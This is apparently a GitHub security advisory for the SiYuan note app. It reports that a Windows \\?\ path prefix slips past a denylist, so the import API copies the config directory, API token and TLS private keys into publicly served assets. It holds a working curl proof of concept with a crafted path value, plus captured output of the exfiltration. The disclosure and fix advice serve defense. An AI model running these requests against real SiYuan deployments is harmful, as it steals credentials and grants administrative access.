Skip to content

siyuan: Windows extended-length path prefix (\\?\) bypasses the IsSensitivePath denylist, letting API callers copy the workspace configuration (API token, TLS private keys) into publicly served assets

High
88250 published GHSA-6gmc-424x-xgpm Oct 9, 2026

Package

gomod siyuan-note/siyuan (Go)

Affected versions

>= 3.5.4, <= 3.8.6

Patched versions

v3.8.7

Description

Summary

All of SiYuan kernel's sensitive-path protection is a denylist: util.IsSensitivePath matches the request path against a list of forbidden prefixes after filepath.Clean(strings.ToLower(p)). On Windows, the NT extended-length prefix \\?\ survives filepath.Clean verbatim (Go treats it as a volume name), matches none of the denylist prefixes, and defeats the EvalSymlinks fallback (which returns the prefixed form unchanged). Every endpoint that relies on this denylist as its only guard can therefore be pointed at protected files by simply prepending \\?\.

We confirm this end to end at runtime against a build of the current master (kernel 3.8.5, commit 60a4387cc): POST /api/import/importStdMd with localPath: "\\\\?\\<workspace>\\conf" first rejects the plain path ("local path is sensitive path") and then accepts the \\?\ form, copying the entire conf directory - conf.json (containing the API token and accessAuthCode), key.pem, ca.key, cert.pem - into data/assets/, from where GET /assets/... serves them to unauthenticated clients (we retrieved the EC private key and the token). The same prefix bypasses the denylist on the write side (/api/export/copyExportFile), included here only as corroboration since arbitrary file writes are declared out of scope by the project's SECURITY.md.

This is a distinct gap from both published path-traversal fixes: CVE-2026-30869's fix introduced the denylist this bypass defeats, and the 3.6.5 fix for CVE-2026-41894 / GHSA-hjh7-r5w8-5872 protected only the /export/ endpoint with a lexical containment check (IsSubPath) - which we verify is immune to the prefix (all variants 401/404) - while sibling endpoints guarded only by the denylist remained exposed. No published advisory covers the Windows namespace prefix, and the denylist itself performs no \\?\ normalization (ExtendedPrefix handling: grep count 0 at HEAD and at v3.8.5; the only \\?\ add/strip logic in the codebase lives in model/asset_path_resolver_windows.go and appearance_link_windows.go, neither of which feeds IsSensitivePath).

Details

Code locations (verified line-by-line at master 60a4387cc):

  • Root cause, kernel/util/path.go:471-472:

    func isSensitivePath(p string) bool {
        toCheckPathLower := filepath.Clean(strings.ToLower(p))

    Every rule is a strings.HasPrefix against that cleaned string: Windows system directories (:487-522), Start Menu (:524-533), <workspace>/conf (:536-540), <workspace>/temp (:542-547), home-directory credential dotfiles (:549-581), and credentials/id_ file-name prefixes (:583-592). \\?\D:\... cleans to itself and matches nothing.

  • The wrapper at kernel/util/path.go:450-468 fails too: gulu.File.IsSubPath(WorkspaceDir, "\\?\...") classifies the path as outside the workspace and falls into the filepath.EvalSymlinks branch, which on Windows returns the \\?\ form unchanged, so the second isSensitivePath(resolved) misses as well (the runtime result below shows the prefixed request succeeding).

  • Affected endpoint (read, in scope): kernel/api/import.go:367-374 - importStdMd's only guards are gulu.File.IsSubPath(util.WorkingDir, localPath) (installation directory only, not the workspace) and util.IsSensitivePath(localPath). On success, model/import.go:1516 ff. reads the path directly; for a directory import, non-markdown files are copied into data/assets/ (model/import.go:67-85 and :1563-1578), which are served over HTTP without authentication.

  • Corroborating endpoint (write, out of scope per SECURITY.md): kernel/api/export.go:877-880 gates copyExportFileToDestination (:892) with the same IsSensitivePath check; the \\?\ prefix bypasses it identically.

Why this is not a duplicate:

  • CVE-2026-30869 / b2274baba introduced the denylist that this finding defeats (a normalization gap in the fix's own mechanism, not a repeat of the original double-decoding issue).
  • CVE-2026-41894 / GHSA-hjh7-r5w8-5872 and its 3.6.5 fix (bb481e129) concern only the /export/ GET endpoint and add a lexical IsSubPath containment check that does not depend on the denylist. Our negative matrix (below) confirms that endpoint is immune to all encoding and prefix variants we tested. The endpoints affected here (importStdMd, copyExportFile) are denylist-only siblings that the fix did not touch, and the denylist normalization gap itself is still present at HEAD.
  • GHSA-vm69-h85x-8p85 (an earlier "incomplete IsSensitivePath fix" advisory) was fixed by 501571c2d adding Unix prefixes (/usr, /opt, /sbin) only; the Windows namespace prefix vector and the Windows-specific rule groups (drive-letter system paths, Start Menu, workspace conf/temp, home dotfiles) plus the EvalSymlinks fallback are not covered by any advisory.

The same bypass works with a lowercase drive letter (\\?\d:\..., verified at runtime). \\?\UNC\server\share\... is the same Win32 namespace mechanism (not separately exercised). We make no claim for 8.3 short names because the test volume had short-name generation disabled.

PoC

Environment: Windows, Go 1.26 (the module declares go 1.26.5; we built with Go 1.26.5). The kernel is built from source and run with a fresh workspace; with no lock-screen password set, local HTTP requests are accepted without a token (kernel CheckAuth trusts local callers, model/session.go:195-241).

git clone https://github.com/siyuan-note/siyuan
cd siyuan/kernel
go build -tags "fts5 sqlcipher" -o ..\siyuan-kernel.exe .
cd ..\kerneldir
siyuan-kernel.exe serve --workspace <workspace-dir> --wd <kerneldir> --port 6806 --mode prod
# wait for the kernel to finish first-run initialization

Then, against http://127.0.0.1:6806:

# 1. create a notebook and read its id
curl -s -X POST http://127.0.0.1:6806/api/notebook/createNotebook -H "Content-Type: application/json" --data-raw "{\"name\":\"poc\"}"
curl -s -X POST http://127.0.0.1:6806/api/notebook/lsNotebooks -H "Content-Type: application/json" --data-raw "{}"      # note the notebook "id"

# 2. control: plain path to the workspace conf directory must be refused
curl -s -X POST http://127.0.0.1:6806/api/import/importStdMd -H "Content-Type: application/json" \
  --data-raw '{"notebook":"<nbID>","localPath":"<workspace>\\conf","toPath":"/"}'
# -> {"code":-1,"msg":"... local path is sensitive path","data":null}

# 3. bypass: the same directory via the NT extended-length prefix
curl -s -X POST http://127.0.0.1:6806/api/import/importStdMd -H "Content-Type: application/json" \
  --data-raw '{"notebook":"<nbID>","localPath":"\\\\?\\<workspace>\\conf","toPath":"/"}'
# -> {"code":0,"msg":"","data":null}

# 4. the conf directory has been copied into publicly served assets
curl -s http://127.0.0.1:6806/assets/conf-<timestamp>-<nodeid>.json     # contains "token": ...
curl -s http://127.0.0.1:6806/assets/key-<timestamp>-<nodeid>.pem       # -----BEGIN EC PRIVATE KEY-----

(In JSON, each literal backslash is written doubled; \\?\ becomes \\\\?\\.)

Captured output of our full verification run (the script performs both groups and asserts the control refusal and the bypass success; asset file names embed the node id and a timestamp, which necessarily differ per run):

==========================================================================
createNotebook                     http=200  api=0
import control (plain path)        http=200  api=-1    refused: True
import bypass (\\?\ prefix)        http=200  api=0
exfiltrated config copy            http=0    api=0     conf-20260927022423-cpk8s5o.json
GET /assets/<exfil config>         http=200  api=None  contains token: True
TLS key exfiltrated                http=0    api=0     key-20260927022423-f05ulnb.pem
write control (plain dest)         http=200  api=-2    refuse to copy to sensitive path: D:\...
write bypass (\\?\ dest)           http=200  api=0     on disk: True
==========================================================================
RESULT: BYPASS CONFIRMED

Individual step transcripts from the same environment:

  • control: {"code":-1,"msg":"import from local path [D:\\...\\ws\\conf] failed: local path is sensitive path","data":null}
  • bypass: {"code":0,"msg":"","data":null}
  • exfiltration: GET /assets/conf-20260927022423-cpk8s5o.json -> 200 (body contains "token": "..."), GET /assets/key-20260927022423-f05ulnb.pem -> 200 (body -----BEGIN EC PRIVATE KEY-----). The single directory import copied conf.json, ca.key, ca.crt, cert.pem, key.pem into the HTTP-readable data/assets/ directory.

Negative control matrix (the 3.6.5-protected /export/ endpoint and all containment-guarded surfaces stay closed; confirming the finding is specific to denylist-only endpoints):

/export/%2e%2e/..                                  404 / 401   (all double/triple/mixed encodings: 401 or 404)
/assets/../conf/conf.json and encoded variants     404 / 403
/api/file/* (GetAbsPathInWorkspace containment)    rejected with \\?\ (500)
static resources, /history/, /repo/diff/, /public/ rejected (containment checks per segment)

Impact

On Windows deployments, an attacker able to reach the kernel API can read files the denylist exists to protect: the workspace configuration directory (conf.json carries the API token and accessAuthCode; the directory also holds TLS private keys key.pem/ca.key), home-directory credential files (.git-credentials, .netrc, .ssh prefixes), and the Windows system-directory rule groups - all copied into the publicly served assets directory and retrievable without credentials. The API token in turn unlocks the full administrative API. Endpoints are the standard SiYuan kernel surfaces; Docker/server deployments that expose the kernel over the network are the relevant exposure, while a purely local attacker is inside the trust boundary the kernel already grants. The same prefix also defeats the denylist on the write side (copyExportFile), reported here only as corroboration because the project declares arbitrary writes out of scope.

Suggested fix

Normalize Windows namespace prefixes before denylist evaluation: strip a leading \\?\ (and \\?\UNC\) via filepath.UnquoteName/longpath semantics or golang.org/x/sys/windows' ExtendedPrefix helpers, then re-run Clean/lowercase matching on the resolved Win32 path; alternatively replace prefix matching with a lexical containment check (gulu.File.IsSubPath(workspace, resolved)) plus volume-root resolution, as the /export/ fix already does. The denylist-protected classes (workspace conf/temp, home dotfiles, system directories) should all be evaluated on the normalized form. Regression cases: \\?\-prefixed forms of each denied prefix, lowercase drive letters, and \\?\UNC\.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

No known CVE

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

Credits